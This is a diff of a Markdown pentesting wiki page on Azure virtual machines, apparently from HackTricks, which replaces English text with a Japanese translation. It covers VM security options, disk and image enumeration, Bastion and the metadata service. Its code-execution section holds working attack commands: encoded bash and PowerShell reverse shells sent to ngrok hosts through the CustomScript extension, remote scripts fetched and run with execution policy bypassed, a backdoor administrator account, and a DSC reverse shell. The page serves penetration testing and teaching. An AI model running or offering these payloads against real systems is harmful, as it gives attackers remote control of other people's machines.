- **信頼できる起動**: このセキュリティタイプは、セキュアブートと仮想トラステッドプラットフォームモジュール (vTPM) を使用して、ブートキットやカーネルレベルのマルウェアに対する保護を強化します。
|
||||
- **機密性の高い VMs**: 信頼できる起動に加えて、VM、ハイパーバイザー、およびホスト管理間のハードウェアベースの分離を提供し、ディスク暗号化を改善し、[**詳細**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**。**
|
||||
- **認証**: デフォルトでは新しい **SSH キーが生成されます**が、公開鍵を使用したり、以前のキーを使用したりすることも可能で、デフォルトのユーザー名は **azureuser** です。また、**パスワード**を使用するように構成することも可能です。
|
||||
- **VM ディスク暗号化**: ディスクはデフォルトでプラットフォーム管理キーを使用して静止状態で暗号化されます。
|
||||
- **ホストでの暗号化**を有効にすることも可能で、データはストレージサービスに送信する前にホストで暗号化され、ホストとストレージサービス間のエンドツーエンドの暗号化が保証されます ([**ドキュメント**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data))。
|
||||
- **NIC ネットワークセキュリティグループ**:
|
||||
- **なし**: 基本的にすべてのポートを開放します
|
||||
- **基本**: HTTP (80)、HTTPS (443)、SSH (22)、RDP (3389) の受信ポートを簡単に開放できます
|
||||
- **高度**: セキュリティグループを選択します
|
||||
- **バックアップ**: **標準**バックアップ(1日1回)および **強化**(1日複数回)を有効にすることが可能です
|
||||
- **パッチオーケストレーションオプション**: 選択したポリシーに従って、VM に自動的にパッチを適用することを可能にします。詳細は[**ドキュメント**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching)を参照してください。
|
||||
- **アラート**: VM で何かが発生したときに、メールやモバイルアプリで自動的にアラートを受け取ることが可能です。デフォルトのルール:
|
||||
- CPU 使用率が 80% を超える
|
||||
- 利用可能なメモリバイトが 1GB 未満
|
||||
- データディスク IOPS 消費率が 95% を超える
|
||||
- OS IOPS 消費率が 95% を超える
|
||||
- ネットワーク合計が 500GB を超える
|
||||
- ネットワークアウト合計が 200GB を超える
|
||||
- VmAvailabilityMetric が 1 未満
|
||||
- **ヘルスモニター**: デフォルトではポート 80 の HTTP プロトコルをチェックします
|
||||
- **ロック**: VM をロックして、読み取り専用(**ReadOnly** ロック)または読み取りと更新は可能だが削除はできない(**CanNotDelete** ロック)状態にすることができます。
|
||||
- VM に関連するリソースのほとんどは **ロックをサポート**しています(ディスク、スナップショットなど)。
|
||||
- ロックは **リソースグループおよびサブスクリプションレベル**でも適用できます。
|
||||
|
||||
## Disks & snapshots
|
||||
## ディスクとスナップショット
|
||||
|
||||
- It's possible to **enable to attach a disk to 2 or more VMs**
|
||||
- By default every disk is **encrypted** with a platform key.
|
||||
- Same in snapshots
|
||||
- By default it's possible to **share the disk from all networks**, but it can also be **restricted** to only certain **private acces**s or to **completely disable** public and private access.
|
||||
- Same in snapshots
|
||||
- It's possible to **generate a SAS URI** (of max 60days) to **export the disk**, which can be configured to require authentication or not
|
||||
- Same in snapshots
|
||||
- **2 つ以上の VM にディスクをアタッチすることを有効にする**ことが可能です。
|
||||
- デフォルトでは、すべてのディスクは **暗号化**されています。
|
||||
- スナップショットでも同様です。
|
||||
- デフォルトでは、**すべてのネットワークからディスクを共有する**ことが可能ですが、特定の **プライベートアクセス** のみに **制限**したり、**完全に無効**にすることも可能です。
|
||||
- スナップショットでも同様です。
|
||||
- **ディスクをエクスポートするための SAS URI**(最大 60 日間)を **生成する**ことが可能で、認証を要求するように設定することもできます。
|
||||
- スナップショットでも同様です。
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
|
||||
```bash
|
||||
# List all disks
|
||||
az disk list --output table
|
||||
@@ -63,10 +62,8 @@ az disk list --output table
|
||||
# Get info about a disk
|
||||
az disk show --name <disk-name> --resource-group <rsc-group>
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#tab name="PowerShell"}}
|
||||
|
||||
```powershell
|
||||
# List all disks
|
||||
Get-AzDisk
|
||||
@@ -74,20 +71,18 @@ Get-AzDisk
|
||||
# Get info about a disk
|
||||
Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
## Images, Gallery Images & Restore points
|
||||
## 画像、ギャラリー画像と復元ポイント
|
||||
|
||||
A **VM image** is a template that contains the operating system, application settings and filesystem needed to **create a new virtual machine (VM)**. The difference between an image and a disk snapshot is that a disk snapshot is a read-only, point-in-time copy of a single managed disk, used primarily for backup or troubleshooting, while an image can contain **multiple disks and is designed to serve as a template for creating new VMs**.\
|
||||
Images can be managed in the **Images section** of Azure or inside **Azure compute galleries** which allows to generate **versions** and **share** the image cross-tenant of even make it public.
|
||||
**VMイメージ**は、新しい仮想マシン(VM)を**作成するために必要なオペレーティングシステム、アプリケーション設定、ファイルシステムを含むテンプレート**です。イメージとディスクスナップショットの違いは、ディスクスナップショットが単一の管理ディスクの読み取り専用の時点コピーであり、主にバックアップやトラブルシューティングに使用されるのに対し、イメージは**複数のディスクを含むことができ、新しいVMを作成するためのテンプレートとして機能するように設計されています**。\
|
||||
イメージは、Azureの**イメージセクション**または**Azureコンピュートギャラリー**内で管理でき、これにより**バージョン**を生成したり、イメージをクロステナントで**共有**したり、さらには公開することも可能です。
|
||||
|
||||
A **restore point** stores the VM configuration and **point-in-time** application-consistent **snapshots of all the managed disks** attached to the VM. It's related to the VM and its purpose is to be able to restore that VM to how it was in that specific point in it.
|
||||
**復元ポイント**は、VMの構成と、VMに接続されているすべての管理ディスクの**時点でのアプリケーション整合性のあるスナップショット**を保存します。これはVMに関連しており、その目的は特定の時点でのVMを復元できるようにすることです。
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
|
||||
```bash
|
||||
# Shared Image Galleries | Compute Galleries
|
||||
## List all galleries and get info about one
|
||||
@@ -119,10 +114,8 @@ az image list --output table
|
||||
az restore-point collection list-all --output table
|
||||
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#tab name="PowerShell"}}
|
||||
|
||||
```powershell
|
||||
## List all galleries and get info about one
|
||||
Get-AzGallery
|
||||
@@ -146,73 +139,67 @@ Get-AzImage -Name <ResourceName> -ResourceGroupName <ResourceGroupName>
|
||||
## List all restore points and get info about 1
|
||||
Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <ResourceGroupName>
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
## Azure Site Recovery
|
||||
|
||||
From the [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): Site Recovery helps ensure business continuity by keeping business apps and workloads running during outages. Site Recovery **replicates workloads** running on physical and virtual machines (VMs) from a primary site to a secondary location. When an outage occurs at your primary site, you fail over to a secondary location, and access apps from there. After the primary location is running again, you can fail back to it.
|
||||
[**ドキュメント**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview)から: Site Recoveryは、障害時にビジネスアプリケーションとワークロードを稼働させることで、ビジネスの継続性を確保します。Site Recoveryは、物理および仮想マシン(VM)で稼働しているワークロードをプライマリサイトからセカンダリロケーションに**レプリケート**します。プライマリサイトで障害が発生した場合、セカンダリロケーションにフェイルオーバーし、そこからアプリにアクセスします。プライマリロケーションが再稼働した後、元に戻すことができます。
|
||||
|
||||
## Azure Bastion
|
||||
|
||||
Azure Bastion enables secure and seamless **Remote Desktop Protocol (RDP)** and **Secure Shell (SSH)** access to your virtual machines (VMs) directly through the Azure Portal or via a jump box. By **eliminating the need for public IP addresses** on your VMs.
|
||||
Azure Bastionは、Azureポータルまたはジャンプボックスを介して、仮想マシン(VM)への安全でシームレスな**リモートデスクトッププロトコル(RDP)**および**セキュアシェル(SSH)**アクセスを可能にします。これにより、VMに対する**パブリックIPアドレスの必要性を排除**します。
|
||||
|
||||
The Bastion deploys a subnet called **`AzureBastionSubnet`** with a `/26` netmask in the VNet it needs to work on. Then, it allows to **connect to internal VMs through the browser** using `RDP` and `SSH` avoiding exposing ports of the VMs to the Internet. It can also work as a **jump host**.
|
||||
Bastionは、必要なVNetに`/26`のネットマスクを持つ**`AzureBastionSubnet`**というサブネットをデプロイします。次に、**ブラウザを介して内部VMに接続**することを可能にし、VMのポートをインターネットに公開することを避けます。また、**ジャンプホスト**としても機能します。
|
||||
|
||||
To list all Azure Bastion Hosts in your subscription and connect to VMs through them, you can use the following commands:
|
||||
サブスクリプション内のすべてのAzure Bastionホストをリストし、それらを介してVMに接続するには、次のコマンドを使用できます。
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
|
||||
```bash
|
||||
# List bastions
|
||||
az network bastion list -o table
|
||||
|
||||
# Connect via SSH through bastion
|
||||
az network bastion ssh \
|
||||
--name MyBastion \
|
||||
--resource-group MyResourceGroup \
|
||||
--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
|
||||
--auth-type ssh-key \
|
||||
--username azureuser \
|
||||
--ssh-key ~/.ssh/id_rsa
|
||||
--name MyBastion \
|
||||
--resource-group MyResourceGroup \
|
||||
--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
|
||||
--auth-type ssh-key \
|
||||
--username azureuser \
|
||||
--ssh-key ~/.ssh/id_rsa
|
||||
|
||||
# Connect via RDP through bastion
|
||||
az network bastion rdp \
|
||||
--name <BASTION_NAME> \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
|
||||
--auth-type password \
|
||||
--username <VM_USERNAME> \
|
||||
--password <VM_PASSWORD>
|
||||
--name <BASTION_NAME> \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
|
||||
--auth-type password \
|
||||
--username <VM_USERNAME> \
|
||||
--password <VM_PASSWORD>
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#tab name="PowerShell"}}
|
||||
|
||||
```powershell
|
||||
# List bastions
|
||||
Get-AzBastion
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
## Metadata
|
||||
## メタデータ
|
||||
|
||||
The Azure Instance Metadata Service (IMDS) **provides information about running virtual machine instances** to assist with their management and configuration. It offers details such as the SKU, storage, network configurations, and information about upcoming maintenance events via **REST API available at the non-routable IP address 169.254.169.254**, which is accessible only from within the VM. Communication between the VM and IMDS stays within the host, ensuring secure access. When querying IMDS, HTTP clients inside the VM should bypass web proxies to ensure proper communication.
|
||||
Azureインスタンスメタデータサービス(IMDS)は、**実行中の仮想マシンインスタンスに関する情報を提供**し、その管理と構成を支援します。SKU、ストレージ、ネットワーク構成、今後のメンテナンスイベントに関する情報などの詳細を提供し、**非ルーティングIPアドレス169.254.169.254で利用可能なREST APIを介してアクセスできます**。これはVM内からのみアクセス可能です。VMとIMDS間の通信はホスト内に留まり、安全なアクセスを確保します。IMDSをクエリする際、VM内のHTTPクライアントは適切な通信を確保するためにウェブプロキシをバイパスする必要があります。
|
||||
|
||||
Moreover, to contact the metadata endpoint, the HTTP request must have the header **`Metadata: true`** and must not have the header **`X-Forwarded-For`**.
|
||||
さらに、メタデータエンドポイントに連絡するには、HTTPリクエストに**`Metadata: true`**というヘッダーを含め、**`X-Forwarded-For`**というヘッダーを含めてはいけません。
|
||||
|
||||
Check how to enumerate it in:
|
||||
それを列挙する方法を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm
|
||||
{{#endref}}
|
||||
|
||||
## VM Enumeration
|
||||
|
||||
## VM列挙
|
||||
```bash
|
||||
# VMs
|
||||
## List all VMs and get info about one
|
||||
@@ -234,8 +221,8 @@ az vm extension list -g <rsc-group> --vm-name <vm-name>
|
||||
|
||||
## List managed identities in a VM
|
||||
az vm identity show \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name>
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name>
|
||||
|
||||
# Disks
|
||||
## List all disks and get info about one
|
||||
@@ -440,22 +427,20 @@ Get-AzStorageAccount
|
||||
Get-AzVMExtension -VMName <VmName> -ResourceGroupName <ResourceGroupName>
|
||||
|
||||
```
|
||||
## VMsにおけるコード実行
|
||||
|
||||
## Code Execution in VMs
|
||||
### VM拡張機能
|
||||
|
||||
### VM Extensions
|
||||
Azure VM拡張機能は、Azure仮想マシン(VM)上での**デプロイ後の構成**および自動化タスクを提供する小さなアプリケーションです。
|
||||
|
||||
Azure VM extensions are small applications that provide **post-deployment configuration** and automation tasks on Azure virtual machines (VMs).
|
||||
これにより、**VM内で任意のコードを実行する**ことが可能になります。
|
||||
|
||||
This would allow to **execute arbitrary code inside VMs**.
|
||||
必要な権限は**`Microsoft.Compute/virtualMachines/extensions/write`**です。
|
||||
|
||||
The required permission is **`Microsoft.Compute/virtualMachines/extensions/write`**.
|
||||
|
||||
It's possible to list all the available extensions with:
|
||||
利用可能なすべての拡張機能をリストすることができます:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Az Cli" }}
|
||||
|
||||
```bash
|
||||
# It takes some mins to run
|
||||
az vm extension image list --output table
|
||||
@@ -463,25 +448,21 @@ az vm extension image list --output table
|
||||
# Get extensions by publisher
|
||||
az vm extension image list --publisher "Site24x7" --output table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# It takes some mins to run
|
||||
Get-AzVMExtensionImage -Location <Location> -PublisherName <PublisherName> -Type <Type>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
It's possible to **run custom extensions that runs custom code**:
|
||||
カスタムコードを実行する**カスタム拡張機能を実行することが可能です**:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
|
||||
- Execute a revers shell
|
||||
|
||||
- リバースシェルを実行する
|
||||
```bash
|
||||
# Prepare the rev shell
|
||||
echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
|
||||
@@ -489,122 +470,110 @@ YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==
|
||||
|
||||
# Execute rev shell
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScript \
|
||||
--publisher Microsoft.Azure.Extensions \
|
||||
--version 2.1 \
|
||||
--settings '{}' \
|
||||
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScript \
|
||||
--publisher Microsoft.Azure.Extensions \
|
||||
--version 2.1 \
|
||||
--settings '{}' \
|
||||
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
|
||||
```
|
||||
|
||||
- Execute a script located on the internet
|
||||
|
||||
- インターネット上にあるスクリプトを実行する
|
||||
```bash
|
||||
az vm extension set \
|
||||
--resource-group rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScript \
|
||||
--publisher Microsoft.Azure.Extensions \
|
||||
--version 2.1 \
|
||||
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
|
||||
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
|
||||
--resource-group rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScript \
|
||||
--publisher Microsoft.Azure.Extensions \
|
||||
--version 2.1 \
|
||||
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
|
||||
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Windows" }}
|
||||
|
||||
- Execute a reverse shell
|
||||
|
||||
- リバースシェルを実行する
|
||||
```bash
|
||||
# Get encoded reverse shell
|
||||
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
|
||||
|
||||
# Execute it
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScriptExtension \
|
||||
--publisher Microsoft.Compute \
|
||||
--version 1.10 \
|
||||
--settings '{}' \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScriptExtension \
|
||||
--publisher Microsoft.Compute \
|
||||
--version 1.10 \
|
||||
--settings '{}' \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
|
||||
|
||||
```
|
||||
|
||||
- Execute reverse shell from file
|
||||
|
||||
- ファイルからリバースシェルを実行する
|
||||
```bash
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScriptExtension \
|
||||
--publisher Microsoft.Compute \
|
||||
--version 1.10 \
|
||||
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScriptExtension \
|
||||
--publisher Microsoft.Compute \
|
||||
--version 1.10 \
|
||||
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
|
||||
```
|
||||
他のペイロードを実行することもできます: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
|
||||
|
||||
You could also execute other payloads like: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
|
||||
|
||||
- Reset password using the VMAccess extension
|
||||
|
||||
- VMAccess拡張機能を使用してパスワードをリセットする
|
||||
```powershell
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Relevant VM extensions
|
||||
### 関連するVM拡張機能
|
||||
|
||||
The required permission is still **`Microsoft.Compute/virtualMachines/extensions/write`**.
|
||||
必要な権限は依然として **`Microsoft.Compute/virtualMachines/extensions/write`** です。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>VMAccess extension</summary>
|
||||
|
||||
This extension allows to modify the password (or create if it doesn't exist) of users inside Windows VMs.
|
||||
<summary>VMAccess拡張機能</summary>
|
||||
|
||||
この拡張機能は、Windows VM内のユーザーのパスワードを変更する(または存在しない場合は作成する)ことを可能にします。
|
||||
```powershell
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>DesiredConfigurationState (DSC)</summary>
|
||||
|
||||
This is a **VM extensio**n that belongs to Microsoft that uses PowerShell DSC to manage the configuration of Azure Windows VMs. Therefore, it can be used to **execute arbitrary commands** in Windows VMs through this extension:
|
||||
|
||||
これは、Azure Windows VMの構成を管理するためにPowerShell DSCを使用するMicrosoftに属する**VM拡張**です。したがって、この拡張を通じてWindows VMで**任意のコマンドを実行**するために使用できます:
|
||||
```powershell
|
||||
# Content of revShell.ps1
|
||||
Configuration RevShellConfig {
|
||||
Node localhost {
|
||||
Script ReverseShell {
|
||||
GetScript = { @{} }
|
||||
SetScript = {
|
||||
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
|
||||
$stream = $client.GetStream();
|
||||
[byte[]]$bytes = 0..65535|%{0};
|
||||
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
|
||||
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
|
||||
$sendback = (iex $data 2>&1 | Out-String );
|
||||
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
|
||||
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
|
||||
$stream.Write($sendbyte, 0, $sendbyte.Length)
|
||||
}
|
||||
$client.Close()
|
||||
}
|
||||
TestScript = { return $false }
|
||||
}
|
||||
}
|
||||
Node localhost {
|
||||
Script ReverseShell {
|
||||
GetScript = { @{} }
|
||||
SetScript = {
|
||||
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
|
||||
$stream = $client.GetStream();
|
||||
[byte[]]$bytes = 0..65535|%{0};
|
||||
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
|
||||
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
|
||||
$sendback = (iex $data 2>&1 | Out-String );
|
||||
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
|
||||
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
|
||||
$stream.Write($sendbyte, 0, $sendbyte.Length)
|
||||
}
|
||||
$client.Close()
|
||||
}
|
||||
TestScript = { return $false }
|
||||
}
|
||||
}
|
||||
}
|
||||
RevShellConfig -OutputPath .\Output
|
||||
|
||||
@@ -612,37 +581,35 @@ RevShellConfig -OutputPath .\Output
|
||||
$resourceGroup = 'dscVmDemo'
|
||||
$storageName = 'demostorage'
|
||||
Publish-AzVMDscConfiguration `
|
||||
-ConfigurationPath .\revShell.ps1 `
|
||||
-ResourceGroupName $resourceGroup `
|
||||
-StorageAccountName $storageName `
|
||||
-Force
|
||||
-ConfigurationPath .\revShell.ps1 `
|
||||
-ResourceGroupName $resourceGroup `
|
||||
-StorageAccountName $storageName `
|
||||
-Force
|
||||
|
||||
# Apply DSC to VM and execute rev shell
|
||||
$vmName = 'myVM'
|
||||
Set-AzVMDscExtension `
|
||||
-Version '2.76' `
|
||||
-ResourceGroupName $resourceGroup `
|
||||
-VMName $vmName `
|
||||
-ArchiveStorageAccountName $storageName `
|
||||
-ArchiveBlobName 'revShell.ps1.zip' `
|
||||
-AutoUpdate `
|
||||
-ConfigurationName 'RevShellConfig'
|
||||
-Version '2.76' `
|
||||
-ResourceGroupName $resourceGroup `
|
||||
-VMName $vmName `
|
||||
-ArchiveStorageAccountName $storageName `
|
||||
-ArchiveBlobName 'revShell.ps1.zip' `
|
||||
-AutoUpdate `
|
||||
-ConfigurationName 'RevShellConfig'
|
||||
```
|
||||
|
||||
</details>
